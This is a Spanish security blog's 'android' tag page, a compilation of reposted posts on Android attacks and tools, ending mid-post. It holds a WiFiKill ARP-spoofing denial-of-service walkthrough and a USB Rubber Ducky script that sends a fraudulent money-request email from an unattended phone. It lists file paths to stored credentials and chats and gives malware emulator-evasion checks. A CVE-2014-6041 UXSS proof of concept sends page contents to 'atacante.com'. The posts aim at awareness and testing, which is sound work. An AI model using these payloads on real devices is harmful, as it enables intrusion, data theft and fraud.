Mostrando entradas con la etiqueta android. Mostrar todas las entradas
Mostrando entradas con la etiqueta android. Mostrar todas las entradas

martes, 31 de mayo de 2016

WiFiKill: Ataque D.o.S. a conexiones WiFi desde Androi

Como parte de un estudio sobre los riesgos de seguridad en redes WiFi explotables por aplicaciones publicadas en el market oficial del Google Play para Android, hoy voy a hablaros de una otra app que pone al alcance de cualquier usuario realizar ataques de Denegación de Servicio (DoS: Denial of Service). En un artículo anterior os hablé de Intercepter-NG, una herramienta que es como una navaja suiza para hacer ataques en una red WiFi al estilo de cómo se pueden hacer con DSploit. Hoy toca hablar de WiFiKill, por petición de uno de los lectores.

Figura 1: WiFiKill - Ataque D.o.S. a conexiones WiFi desde Android

WiFiKill es una herramienta para Android que nos permite inhabilitar la conexión aInternet a otros dispositivos que estén conectados a nuestra misma red y que también nos permite conocer las páginas que se están visitando durante su sesión de navegación. Podremos obtenerlo por medio de Play Store bajando una aplicación que nos dará acceso a la descarga de la APK, o directamente buscando la APK porInternet. Si elegimos buscarla por Internet directamente debemos ser conscientes del aumento del riesgo de ejecutar alguna copia maliciosamente manipulada con malware. Eso sí, para que la aplicación funcione correctamente nuestro dispositivoAndroid deberá estar rooteado.

Figura 2: WiFiKill en Play Store

Uno de los objetivos de la aplicación es conseguir “echar” de la red a todos los dispositivos que se encuentran en ella. Se podrá elegir qué dispositivos son los que son expulsados, provocando una denegación de servicio solo sobre los dispositivos elegidos.

Usando WiFiKill

Tras descargar la aplicación y darle permisos de root podremos comenzar a usarla. Al abrirla accederemos al menú principal , en el que podremos observar cinco iconos en la parte superior. El primero de ellos es el botón de “Play”, el cual pulsaremos para analizar la red a la que estemos conectados en búsqueda de usuarios. En el momento en el que sea pulsado comenzara la búsqueda cambiando el símbolo de “Play” a “Stop” y nos aparecerá el icono de WiFiKill en la barra de tareas con la frase “WiFiKill is running”. Esto nos indicara que la aplicación está ejecutándose correctamente. Una vez finalizada la búsqueda nos aparecerán en pantalla todos los dispositivos conectados a nuestra red WiFi, indicándonos su dirección IP y su dirección MAC.

Esto es posible gracias a que la aplicación realiza un broadcast con ARP Request, esto consiste en enviar un ARP Request a todas las direcciones IP del mismo rango; los equipos conectados a la red contestaran a esta petición con un ARP reply indicando cuál es su dirección física o MAC, confeccionando así una tabla ARP.

Figura 3: Descubrimiento de equipos con WiFiKill

A continuación seleccionaremos los objetivos de nuestro ataque pulsando sobre ellos. Podremos ponerles nombre para identificarlos posteriormente. Al pulsar sobre “Grab” comenzaran a aparecernos en pantalla las rutas de las páginas visitadas por la víctima, pulsando sobre ellas nos mostrará algunos detalles sobre la sesión.

Esto se debe a que estamos realizando un ataque ARP Spoofing clásico, que al final es el esquema de Man In The Middle más famoso. Por medio de un ARP Spoofingenvenenaremos las tablas ARP de los equipos conectados a la red y así podremos interceptar los paquetes enviados entre el router y el equipo de la víctima sin ser detectados. ¿Cómo funciona esto? Sencillo, nuestro dispositivo Android enviará unARP Reply a las direcciones IP que le indiquemos indicando que la dirección MAC del router ha cambiado. En esta respuesta ARP se indica la dirección IP origen del router original y la dirección MAC de nuestro dispositivo. De esta forma quién reciba esta información actualizará su caché ARP envenenándola. En este instante, cuando el dispositivo spoofeado consulte la tabla para enviarle información al router, por ejemplo una petición hacia Internet, dicha petición pasará por nosotros.

Si pulsamos sobre “Kill” inhabilitaremos la conexión a Internet del dispositivo seleccionado. En este caso lo que ocurre es que se desactiva la función forward(reenvío) para esa dirección de origen en el equipo del atacante - que está haciendo de man in the middle -  provocando que todos los paquetes interceptados sean desechados. Al desecharse los paquetes la comunicación entre el Gateway y el equipo se cortará el tráfico de y hacia Internet provocando la denegación del servicio sin que el cliente se haya desconectado de la red WiFi.

Figura 4: Interceptación de conexión. Se puede grabar o cancelar

Otra forma de obtener el mismo resultado sería realizando un Ataque 0. Este tipo de ataque consiste en el envío de paquetes deauth (paquetes de desautentificación) a uno o más usuarios que estén asociados a un punto de acceso. Si estos paquetes se siguiesen enviando de manera indefinida el usuario no podría conectarse a la red. También podremos realizar un ataque múltiple utilizando las funciones “Grab all” y “Kill all

El segundo icono - Refresh - nos servirá para detectar nuevos dispositivos que hayan podido conectarse a nuestra red desde que comenzamos nuestro ataque, volviendo realizar un ARP Request. El tercer icono - Lupa - nos sirve para buscar palabras clave dentro de la aplicación. Al pulsar sobre el cuarto icono – Llave inglesa - podremos configurar las opciones generales del programa, opciones como la de activar el modo de pantalla completa o decidir si queremos que nos muestre el fabricante de la tarjeta de red, la dirección IP y la dirección física. El último icono -Tres puntos - corresponde a los apartados de ayuda e información de la aplicación.

Figura 5: Opciones de visualización de WiFiKill

Para finalizar nuestro ataque solo tendremos que volverá pulsar el botón “Stop” yautomáticamente finalizarán todos los ataques en curso con lo que desaparecerá el icono de WFiKill de la barra de tareas. En caso de no pulsar el botón de "Stop” la aplicación seguirá funcionando en segundo plano aunque hayamos salido de ella.

Con esta aplicación podremos comprobar si hay inquilinos conectados a nuestra red y, en caso de haberlos, seremos capaces de expulsarlos con un simple clic. Interesante herramienta de monitorización y control del uso de la WiFi. Este tipo de herramientas en manos maliciosas pueden causar también un gran daño, ya que automatizando el ataque se podría denegar el acceso a la WiFi de forma prolongada o afectar a la privacidad de los usuarios de la red, así que no te olvides de fortificar correctamente tu red WiFi.

Autor: Sergio Sancho Azcoitia

Fuente: http://www.elladodelmal.com/2016/05/wifikill-ataque-dos-conexiones-wifi.html

martes, 17 de mayo de 2016

USB Rubber Ducky en Android

En este post quiero continuar hablando de USB Rubber Ducky. En el post anterior hablé sobre USB RUbber Ducky y vimos un ejemplo de uso en sistemas Windows. Hoy quiero mostrar que también podemos crear payloads para otros sistemas como Android o MAC.
En el caso de dispositivos Android, debemos tener en cuenta que estos sistemas soportan conectar dispositivos HID, por lo tanto, podemos conectar teclados externos y manejar y controlar el dispositivo mediante el teclado.
Tras realizar unas pruebas, mediante un teclado externo, os comparto una serie de comandos que podríamos usar para manejar un dispositivo Android (las pruebas han sido realizadas con un dispositivo Android 4.4.2 KitKat):
  • Windows E: muestra los correos
  • Windows A: abre la calculadora
  • Windows S: muestra los SMS
  • Windows L: abre el calendario
  • Windows M: muestras las aplicaciones que hay instaladas
  • F3: enciende la cámara y tab + intro hace una foto
  • ImprPant: hace una captura de pantalla
  • Control W: muestra un menú para cambiar el fondo de pantalla
  • Control P: muestra los Ajustes
  • Windows C: accede a todos contactos
  • Windows SPACE: muestra el buscador
Sabiendo estas combinaciones podríamos hacer cualquier payload y acceder a información sensible de cualquier persona despistada que se deje su móvil sin vigilar.
Por ejemplo, enviar un correo electrónico sería tan sencillo como:
  • Windows E
  • TAB
  • TAB
  • TAB
  • ENTER
  • REM Escribir la dirección destino
  • STRING direcciondestino@correo.com
  • ENTER
  • TAB
  • REM El siguiente campo es el Asunto
  • STRING Ayuda
  • TAB
  • STRING Buenos días
  • ENTER
  • STRING Por favor, estoy en apuros y me encuentro fuera del país, envíame XX euros a la siguiente cuenta. Te lo contaré en cuanto vuelva!
  • ENTER
  • STRING Número de cuenta: XXXXXXXXXX
  • ENTER
  • STRING Gracias!
  • REM Enviamos el correo
  • CONTROL ENTER
La persona que reciba el correo es probable que confíe en la legitimidad del remitente ya que el correo ha sido enviado desde su cuenta, y realizando un buen ataque de ingeniería social es probable que finalice con éxito.
Con este sencillo script podríamos enviar mensajes de correos desde el móvil de una tercera persona. Tal y como he comentado las pruebas realizadas han sido sobre un dispositivo con Android 4.4, en otra versión de Android podría cambiar ligeramente, aunque conceptualmente es igual.
Conociendo los comandos adecuados ya sólo tendríamos que echarle un poco de imaginación de lo que podríamos hacer. Al igual que el ejemplo de enviar correos electrónicos, podríamos hacer lo mismo para acceder a SMS, cambiar ajustes de configuración, habilitar USB Debugging, o incluso instalar aplicaciones de terminal en Android y mediante comandos robar información (fotos, historial de navegación, credenciales, conversaciones de Whatsapp, etc. y enviarla a través de FTP. Al tener un terminal en el dispositivo Android las posibilidades se disparan.
Pero, ¿qué ocurre si el dispositivo está bloqueado por un PIN? Con UsbRubberDucky también podríamos desbloquear el móvil. El script lo tenéis en pastebin.
Con este post quería compartir algunas de las posibilidades que ofrece USB Rubber Ducky con respecto a Android. Aunque siempre con la finalidad de que conozcáis los riesgos y no os dejéis vuestros dispositivos sin vigilar.

Fuente: http://www.securityartwork.es/2016/04/25/usb-rubber-ducky-android/

lunes, 27 de julio de 2015

Trucos para hacer un análisis forense a un android

Buenos días.

Sea por motivos de curiosidad o simplemente motivos laborales nos hemos encontrado con una pregunta interna! ¿Donde almacenara android las contraseñas?, si bien podemos notar cuando usamos un móvil con este sistema operativo que automáticamente programas como facebook, gmail, what'sapp entre muchos otros, no solicitan credenciales una vez logeados la primer vez y siempre están allí conectados esperando a ser usados.

Bueno es simple saberlo, el ahorro de la "pereza" de estar ingresando credenciales de autenticación tiene sus riesgos de seguridad, pero en este caso para saber las contraseñas prácticamente necesitaríamos acceso físico lo cual reduce a cierto punto el robo de información personal.

La siguiente tabla va ser muy útil cuando hacemos estas búsquedas, si no eres informático y no entiendes la tabla es de seguro que debas buscar estos dos temas: Root android y Sqlite.

System Synchronised Accounts Android (E,D) Use file '/data/system/users/0/accounts.db'. Profile picture is also supported for Extraction.
System Phonebook Contacts Android (E,D) Use file '/data/data/com.android.providers.contacts/databases/contacts2.db'.
System Call logs register Android (E,D) Use file '/data/data/com.android.providers.contacts/databases/contacts2.db'.
System Call logs register (Samsung) Android (E,D) Use file '/data/data/com.sec.android.provider.logsprovider/databases/logs.db'.
System Samsung SMS snippets Android (E,D) Use file '/data/data/com.sec.android.provider.logsprovider/databases/logs.db'.
System SMS messages Android (E,D) Use file '/data/data/com.android.providers.telephony/databases/mmssms.db'.
System Wi-Fi passwords (WPA-PSK/WEP) Android (E,D) Use file'/data/misc/wifi/wpa_supplicant.conf' from rooted extraction, or 'flattened-data' from backup extraction.
System Default Browser Passwords Android (E,D) Use file '/data/data/com.android.browser/databases/webview.db'.
System Default Browsers History Android (E,D) Use file '/data/data/com.android.browser/databases/browser2.db'.
System Emails (Default application) Android (E) -
App Chrome History / Archived History Android (E,D)
iOS (D)
Use files '/data/data/com.android.chrome/app_chrome/Default/History', '/data/data/com.android.chrome/app_chrome/Default/Archived History'. Databases from other operating systems (Ubuntu/Linux/Windows/Mac OSX) are supported for decoding the data.
App Chrome Login Data (Passwords) Android (E,D)
iOS (D)
Use file '/data/data/com.android.chrome/app_chrome/Default/Login Data'. Databases from other operating systems (Ubuntu/Linux/Windows/Mac OSX) are supported for decoding the data.
App Blackberry Messenger (BBM) Chat Messages Android (E,D)
iOS (D)
Use file '/data/data/com.bbm/files/bbmcore/master.db'.
App Facebook chat / messenger messages Android (E,D) Use files '/data/data/com.facebook.katana/databases/threads_db2', '/data/data/com.facebook.orca/databases/threads_db2'
App Skype Calls / Messages Android (EAB,D) Use files '/data/data/com.skype.raider/files/<account_name>/main.db'
App Facebook user notifications Android (E,D) Use file '/data/data/com.facebook.katana/databases/notifications_db'.
App Facebook viewed photographs Android (E,D) Use file '/data/data/com.facebook.katana/databases/photos_db'.
App Kik Messenger chat messages Android (E,D) Use file '/data/data/kik.android/databases/kikDatabase.db'.
App WhatsApp Contacts Android (E,D) Use file '/data/data/com.whatsapp/databases/wa.db'.
App WhatsApp Calls Android (E,D) Use file '/data/data/com.whatsapp/databases/msgstore.db'.
App WhatsApp Messages Android (E,D) Use file '/data/data/com.whatsapp/databases/msgstore.db'.
App Grindr messages and users iOS (D) Use file 'Grindr.sqlite'
App Viber calls register Android (E,D) Use file '/data/data/com.viber.voip/databases/viber_data'.
App Viber chat messages Android (E,D) Use file '/data/data/com.viber.voip/databases/viber_messages'.
App Tinder Matched Users Android (E,D) Use file '/data/data/com.tinder/databases/tinder.db'.
App Tinder Messages Android (E,D) Use file '/data/data/com.tinder/databases/tinder.db'.
App MeowChat Messages Android (E,D) Use file '/data/data/mobi.mgeek.TunnyBrowser/db/browser.db'.
App Dolphin Web Browser History Android (E,D) Use file '/data/data/com.minus.android/databases/com.minus.android'.

Legend: E = data can be extracted and automatically decoded
EAB = data can be extracted and automatically decoded via AB method only
D = data can be decoded through "Decoders"



Ya con esto tenemos todos los datos en nuestro poder :)

Fuentes:

http://andriller.com/decoders
https://www.androidpit.com/app/fahrbot.apps.undelete
https://gist.github.com/jbinto/8876658
http://www.higherpass.com/android/tutorials/accessing-data-with-android-cursors/
http://www.dunkelheit.com.br/android/forense/curso/curso/Android%20Forensics%20-%20A.%20Hoog%20(Syngress,%202011)%20WW-%20blz146.pdf

miércoles, 29 de abril de 2015

Monitorizando la actividad de tu aplicación Android


Android-security.jpg

HP ha liberado una aplicación gratuita para ayudar a los equipos de seguridad y calidad encontrar vulnerabilidades.
ShadowOS, así se llama, está basado en una versión modificada de Android Kitkat, la cual intercepta la actividad generada en el sistema en general, en las siguientes áreas:
  • Acceso al sistema de ficheros. Muestra todo los accesos de lectura y escritura (path + nombre de fichero)
  • HTTP/HTTPS. Muestra todas la llamadas HTTP/HTTPS realizadas por la aplicación, incluyendo las realizadas por Webkit.
  • SQL Lite. Muestra todas las consultas a SQL Lite, incliyendo apertura, inserts y updates.
  • Cordova / PhoneGap. Muestra el tráfico web en aplicaciones basadas en Webkit.
ShadowOS, además de la versión de Android Kitkat, incluye una aplicación monitor, que es la que se comunica y nos muestra toda la actividad en las áreas anteriormente mencionadas.
Requiere:
  • Windows Vista o superior
  • Privilegios de Administrador
  • .Net 4.5
  • Android SDK para Windows
Aquí tenéis un vídeo de demostración:

https://youtu.be/rfshPBeVSoc

Para descargar la aplicación (necesita registro): http://go.saas.hp.com/shadow-os

Fuente: http://www.cyberhades.com/2015/04/23/monitorizando-la-actividad-de-tu-aplicacion-android/

lunes, 9 de marzo de 2015

Android, iOS & OS X vulnerables a ataques de Man in the Middle con ICMP Redirect: Double Direct. ¡Cuidado!

Dentro de la especificación del protocolo ICMP - y de ICMPv6 - existe la posibilidad de enviar desde los routers cambios para tablas de enrutamiento a los clientes mediante un paquete llamado ICMP Redirect. De esta forma, la puerta de enlace de un determinado equipo de la red de que para ir a un destinatario concreto es más rápido ir por otro de los routers de la red.

Figura 1: Android, iOS & OS X vulnerables a ataques de Man in the Middle con ICMP Redirect
Esto es conocido desde hace mucho tiempo, y por supuesto un usuario de la red malicioso podría utilizarlo para hacer un ataque de man in the middle. Hace un par de semanas se ha liberado una herramienta que lo hace fácilmente desde plataformas de pentesting con Kali Linux
Android, iOS & OS X Vulnerables
Para que el ataque funcione, el cliente debe ser vulnerable a este ataque permitiendo aceptar los mensajes de ICMP redirect. Para comprobar si tu Android es vulnerable a este ataque, necesitas tener una conexión de terminal y verificarlo con el comando siguiente:
# cat /proc/sys/net/ipv4/conf/all/accept_redirects
Si te ha salido un valor de 1, entonces es que eres vulnerable al ataque y cualquiera te puede hacer un ataque de man in the middle con un paquete de ICMP Redirect.
Figura 2: Un Android Samsung Galaxy S4 aceptando paquetes ICMP Redirects
Por desgracia, a pesar de que la mayoría de los sistemas GNU/Linux y Windows no los aceptan desde hace tiempo por seguridad, la mayoría de las versiones de los sistemas operativos iOS, OS X y Android  los aceptan, por lo que los hacen carne de cañón en redes compartidas o redes WiFi, algo que es altamente peligroso.
En los sistemas OS X, tanto OS X 10.10 Yosemite como OS X 10.9 Mountain Lion son vulnerables, y lo puedes probar en tu propio equipo con el siguiente comando de consola:
sysctl net.inet.icmp.drop_redirect | grep ": 0" && echo "DoubleDirect: VULNERABLE" ||echo "DoubleDirect: SAFE" 
Como se puede ver en la siguiente imagen, en uno de mis equipos con OS X se puede comprobar cómo es vulnerable a este ataque al aceptar ICMP Redirects.
Figura 3: Por defecto OS X acepta paquetes ICMP Redirects
Para cambiarlo es necesario modificar el valor de net.inet.icmp.drop_redirect como Administrador para que se tiren todos los intentos de cambios de rutas.
Figura 4: OS X configurado para no aceptar paquetes ICMP Redirect
La Prueba de Concepto de ICMP Redirect
Si la víctima es vulnerable, con esta herramienta que han publicado en Zimperiun para enviar ICMP Redirects con las direcciones IP que se quiera influir se puede hacer un man in the middle a cualquier dirección IP de destino. Por supuesto, lo más interesante es cambiar el redirect de los servidores DNS de Internet que se tenga configurados la víctima, para poder manipular el resto de conexiones a dominios.
Figura 5: Prueba de Concepto de DoubleDirect la herramienta para hacer mitm con ICMP Redirect
Este ataque también funciona en IPv6, por lo que, si no estás haciendo uso de este protocolo, entonces aquí tienes cómo desactivar IPv6 en Windows y cómo desactivar IPv6 en OS X. Así te quitas de todos los ataques que implementa Evil Foca, que a día de hoy no implementa el ICMP Redirect, pero seguro que en breve lo hace. Tienes más información de este tipo de ataques en el libro de Ataques de red en IPv4/IPv6
 
Fuente: http://www.elladodelmal.com/2014/12/android-ios-os-x-vulnerables-ataques-de.html

Recuperar las claves almacenadas del wifi en android

Para recuperar las claves sin ningún programa, debemos ser root y saber donde almacena android las claves wifi, especificamente esta en la ruta: /data/misc/wifi/wpa_supplicant

Ya es simplemente abrirla y/o copiarla.

lunes, 16 de febrero de 2015

Evasión de SOP en navegadores de Android < 4.4 (CVE-2014-6041)


La Política del mismo origen o Same Origin Policy (SOP) es una medida de seguridad básica que deben implementar todos los navegadores actuales. La idea es muy sencilla: el código de una página que se ejecuta en cliente (casi siempre javascript) no debe ser capaz de acceder al código de otra.

Eso es porque, aunque hay algunas excepciones con unas pocas propiedades y atributos, si se permitiera acceder globalmente desde un origen a otro (Esquema, dominio y puerto) un sitio A podría acceder a las propiedades de otro sitio B, es decir, un sitio malicioso podría obtener las cookies, location, response, etc. de otro sitio por el que está navegando el usuario. Un ejemplo claro sería cuando un usuario accede a un sitio malicioso y es posible robar una sesión de Facebook abierta en otra pestaña del navegador.

Pues bien, resulta que el navegador por defecto de todas las versiones de Android anteriores a la 4.4, el conocido como AOSP browser (Android Open Source Project), permite evadir La Política del mismo origen (SOP) cargando Javascript en un iframe o ventana cualquiera simplemente poniendo antes de "javascript:..." un byte nulo. Es lo que sería UXSS (Universal Cross-site Scripting).


Veamos un ejemplo claro:
<iframe name="test" src="http://www.prueba.com"></iframe>
 
<input type=button value="test"
 
onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

Como veis el código intentará acceder a la propiedad document.domain del sitio www.prueba.com, y si lo hacéis desde un navegador vulnerable funciona. Se trata pues de un fallo crítico, el identificado con CVE-2014-6041, que afecta a la mayoría de los sistemas Android (que son los desafortunadamente no actualizados).


Por tanto podemos leer la respuesta de cualquier página accediendo a la propiedad document.body.innerHTML:
<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >

A continuación para completar el "trabajito" podemos enviar la respuesta al dominio a nuestro dominio de atacante:

<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Y si algún sitio web temeroso de clickjacking tiene algún framekiller podemos aprovechar las bondades del atributo sandbox de HTML5:

<iframe name="test" src="http://www.prueba.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Además, para facilitarnos más aún la vida loca, jvennix-r7 ha publicado un módulo de Metasploit que también soporta la evasión de x-frame-options cocinando así un exploit universal listo para su uso: https://github.com/rapid7/metasploit-framework/pull/3759.

Probarlo es fácil. Ingresamos inocentemente en Facebook con nuestro usuario:

 

Y preparamos la PoC con Metasploit:

msf > use auxiliary/gather/android_stock_browser_uxss
set TARGET_URLS http://example.com
TARGET_URLS => http://example.com
msf auxiliary(android_stock_browser_uxss) > run
[*] Auxiliary module execution completed
msf auxiliary(android_stock_browser_uxss) >
[*] Using URL: http://0.0.0.0:8080/EFba5g10Ou
[*]  Local IP: http://10.21.1.99:8080/EFba5g10Ou
[*] Server started.

msf auxiliary(android_stock_browser_uxss) >
[*] 10.21.1.99       android_stock_browser_uxss - Request 'GET /EFba5g10Ou'
[*] 10.21.1.99       android_stock_browser_uxss - Sending initial HTML ...
[*] 10.21.1.99       android_stock_browser_uxss - Request 'POST /EFba5g10Ou'
[+] Collected data from URL: http://example.com/
[+] Saved to: D:/metasploit/apps/pro/loot/20140916171229_default_10.21.1.99_android.client_314522.txt
 
Fuentes: 
- Android Browser Same Origin Policy Bypass - CVE-2014-6041 
- UXSS in AOSP browser allows for arbitrary cross-domain javascript
- Android Browser Same Origin Policy Bypass Vulnerability 
- Android minor 4.4 AOSP (Stock) Browser UXSS: cross-domain cookie/response extraction module #3759 
- Major Android Bug is a Privacy Disaster (CVE-2014-6041) 
 
Fuente: http://www.hackplayers.com/2014/09/evasion-de-SOP-android-inferior-a-4.4.html

Cómo detectar si nuestra aplicación en Android se está ejecutando en un emulador


La mayoría del malware moderno trata de escapar de ser analizado y uno de las primeras cosas que hace es comprobar si se está ejecutando en un entorno controlado. En el mundo del malware para Android el ambiente controlado se refiere a un emulador. Si el malware se ejecuta en un emulador, eso significa que lo más probable es que esté siendo analizado por un investigador. Hay varios métodos que los desarrolladores de malware utilizan para detectar el entorno emulado.

1.) Comprobar el Nombre del producto:


En el emulador de Android, el nombre de producto del dispositivo contiene la cadena "sdk" por lo que es un indicio útil para detectar si la aplicación se está ejecutando en un emulador. Con el fin de comprobar el nombre del producto, puedes utilizar el siguiente fragmento de código:

if (Build.PRODUCT.contains ("sdk"))
    #do something

2.) Comprobar el Nombre del modelo:
 
El nombre del producto por defecto del emulador de Android contiene la cadena "sdk". Por lo tanto, vale la pena comprobar también el nombre del modelo con el fin de detectar el uso emulador.
if (Build.MODEL.contains ("sdk"))
    #do something

3.) Comprobar el Nombre del operador de la SIM:

 
En los emuladores de Android, el nombre del operador SIM viene con el valor por defecto "Android". Esto no ocurre en los dispositivos físicos normales aún cuando no hay una tarjeta SIM instalada en el dispositivo.
TelephonyManager localTelephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone"):
if (localTelephonyManager.getSimOperatorName().equeals ("Android"))
    #do something

4.) Comprobar el Nombre del operador de Red:


Al igual que la anterior, el nombre del operador de red también viene con la opción predeterminada "Android". Es una buena idea comprobar el nombre del operador de red con el fin de decidir si la aplicación se está ejecutando en un emulador.

TelephonyManager localTelephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone"):
if (localTelephonyManager.getNetworkOperatorName().equeals ("Android"))
    #do something

Al combinar estas 4 técnicas mencionadas anteriormente, se puede escribir una aplicación básica para Android que muestra estos valores. Con el fin de comparar si realmente funcionan, puede instalar la aplicación, tanto en el emulador como en un dispositivo real.

5.) Comprobar las Propiedades ro.kernel.qemu y ro.secure

 
adicionalmente se puede comprobar las propiedades del sistema Android para detectar un entorno emulado. Hay varios archivos de propiedades en el sistema de archivos de Android:

     /default.prop
     /system/build.prop     /data/local.prop

Las propiedades se almacenan en un formato par de valores clave en estos archivos de propiedades. Puedes ver los valores de las propiedades escribiendo

     GetProp adb shell <key>

Si el valor de ro.secure es "0", o el valor de ro.kernel.qemu es 1, el shell ADB se ejecuta como root y eso significa que el entorno en el que se ejecuta la aplicación es un emulador. En un dispositivo físico el shell ADB se ejecuta con los permisos del usuario normal, no el root. Para comprobar estas propiedades se pueden utilizar los fragmentos de código a continuación.

Class SystemProperties = Class.forName("android.os.SystemProperties");
TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService("phone");
if (getProperty(SystemProperties, "ro.secure").equalsIgnoreCase("0"))
isEmulator = Boolean.valueOf(true);
else if (getProperty(SystemProperties, "ro.kernel.qemu").equalsIgnoreCase("1"))
isEmulator = Boolean.valueOf(true);

6.) Comprobar el Proceso "qemud" (qemu daemon)

 
este método lo utiliza APKProtect y recorre todos los procesos listados en /proc y comprueba si está qemud comparando el hash de la ruta del binario:
 find_qemud_process() { 
 for(int i = 0; i < 0x65; i++) 
    if( hash(read(“/proc/%d/cmdline”, i)) == hash(“/system/bin/qemud”)) 
        return true; 
    return false;
    } ...

Podéis encontrar todo el código junto en https://github.com/oguzhantopgul/Android-Emulator-Detection
Fuente: http://www.oguzhantopgul.com/2014/12/android-malware-evasion-techniques.html
Otros proyectos para la detección de emuladores en Android:
https://github.com/strazzere/anti-emulator
https://github.com/Fuzion24/AndroidEmulatorDetection
 
Fuente: http://www.hackplayers.com/2014/12/como-detectar-si-android-se-ejecuta-en-emulador.html

UbnHD2 : un distribución de pentesting para móviles

Muchos de vosotros seguro que habéis pensado en convertir vuestro smartphone Android en un auténtica máquina de hacking. Algunos seguro que habéis instalado aplicaciones como ANTI, dSploit, FaceNiff, etc. y puede que incluso algún osado haya instalado la versión ARM de Metasploit.

Hoy vamos a ver otra solución para este propósito: UbnHD2, un SO basado en Ubuntu para pentesting que se ejecuta de forma nativa en un dispositivo HTC HD2. La distribución de momento está en fase beta y todavía hay algunas opciones que no funcionan. Puedes encontrar los pasos necesarios para la instalación en la página del desarrollador.

 


Características:

- Basado en Ubuntu 10.10 Maverick Meerkat, Kernel 2.6.32.15 (ARM)
- X.org 7.5, GNOME 2.32.0 & Cairo-Dock 2.2.0
- USB-OTG, 3G Network & WiFi (drivers no incluidos, proprietarios, cosulta el foro XDA)
- Perl 5.10.1, Ruby 4.5, Python 2.6.6 y más de 170 herramientas de Pentest precargadas

Descarga desde Sourceforge

Fuente: UbnHD2 : The Hacker News


Fuente: http://www.hackplayers.com/2012/12/ubnhd2-un-distribucion-de-pentesting-para-moviles.html

Smartphone Pentest Framework: herramienta para pentests de teléfonos inteligentes

Cuando hablamos de realizar un test de intrusión siempre pensamos en poner a prueba la seguridad de un servidor o red de servidores normalmente detrás de algún elemento de protección como un firewall. Todos los pentesters tienen su metodología y colección de herramientas pero, ¿y si les dijéramos que hicieran un pentest para un conjunto de teléfonos inteligentes dentro de una red Wi-Fi? Seguramente se verían sorprendidos...

hoy en día no soltamos los teléfonos móviles ni para mear... literalmente.
Piénsalo, si dentro del vagón del metro levantas la mirada verás que la mayoría de la gente viaja ensimismada mirando la pantallita de su smartphone. No sería arriegado asegurar que ya hay muchos más teléfonos inteligentes que ordenadores domésticos y ¿qué son si no pequeñas computadoras de bolsillo?. Sí, los pentests para smartphones serán cada vez más demandados...

Smartphone Pentest Framework (en adelante SPF) es una herramienta de seguridad de código abierto, diseñada precisamente para ayudar en la evaluación de la seguridad de los teléfonos inteligentes, es decir, contiene ataques en remoto, ataques del lado del cliente, de ingeniería social y post-explotación para smartphones.

Las primeras versiones incluyen una consola hecha en Perl, un frontal web, una aplicación para Android y un agente para post-explotación, de momento también para Android aunque previsto y en desarrollo para iPhone y Blackberry.





Además recientemente se ha liberado la versión 0.1.7 que añade SMS shell pivot y un nuevo script para instalar SPF en Kali Linux. También se preveen nuevos módulos para más vectores de ataque y la integración con otras herramientas como Metasploit y SET. ¡No te la pierdas!

Fuentes:
Smartphone Pentest Framework (Bulb security)

Videos:
Smartphone Pentest Framework Pre-release Teaser 1
SPF Version 0.1.7 Features Video


Fuente: http://www.hackplayers.com/2013/04/smartphone-pentest-framework.html

Santoku: distribución de seguridad para dispositivos móviles


Santoku es una distribución Linux basada en OWASP’s MobiSec especializada en pruebas de seguridad, análisis de malware y análisis forenses para teléfonos móviles, válida para dispositivos con Android, BlackBerry, iOS y Windows Phone.  
La versión Santoku Community Edition es un proyecto colaborativo para proveer un entorno Linux preconfigurado con utilidades, drivers y guías para este campo. La versión alpha puede ya descargarse:
Descarga (+3Gb): Santoku-0.1-alpha.iso
md5:54e48ea0cd133da04a1b55d4531e35bb

E incluye las siguientes herramientas:

Herramientas de desarrollo:
  • Android SDK Manager
  • Apple Xcode IDE
  • BlackBerry JDE
  • BlackBerry Tablet OS SDK
  • BlackBerry WebWorks
  • DroidBox
  • Eclipse IDE
  • Windows Phone SDK
  • Android 2.3.3, 3.2, and 4.0.3 Emulators
  • SecurityCompass Lab Server (HTTP and HTTPS)
  • BlackBerry Ripple
  • BlackBerry Simulators
Penetration Testing:
  • CeWL
  • DirBuster
  • Fierce
  • Nikto
  • nmap
  • Burp Suite
  • Mallory
  • w3af Console
  • w3af GUI
  • ZAP
  • BeEF
  • Ettercap
  • iSniff
  • Metasploit Console
  • Metasploit GUI
  • NetSed
  • SET
  • SQLMap
  • SSLStrip
Ingeniería inversa:
  • APK Tool
  • Dex2Jar
  • Flawfinder
  • Java Decompiler
  • Strace
Analizadores wireless:
  • Aircrack-ng
  • Kismet
  • Ubertooth Kismet
  • Ubertooth Spectrum Analyzer
  • Wireshark
Forense de dispositivos:
  • AFLogical Open Source Edition
  • Android Encryption Brute Force
  • BitPim
  • BlackBerry Desktop Manager
  • Foremost
  • iPhone Backup Analyzer
  • MIAT
  • Paraben Device Seizure
  • Sift Workstation
  • Sleuth Kit
  • SQLiteSpy
Infraestructura móvil:
  • BES Express
  • Google Mobile Management
  • iPhone Configuration Tool
Fuente: http://www.hackplayers.com/2012/08/santoku-distribucion-de-seguridad-moviles.html

Crackea redes wifi con tu Android (en modo monitor)


Seguramente a muchos les pasó por la cabeza la idea de crackear redes wifi con su smartphone pero, para nuestra mala suerte, no se podía porque sorprendentemente el modo monitor (modo para esnifar el tráfico Wifi) no se puede encontrar en cualquier dispositivo android (por no decir en todos), ya que el chipset que se utiliza en los dispositivos android (que mayormente son realizadas por Broadcom) no añade el soporte para el modo monitor.

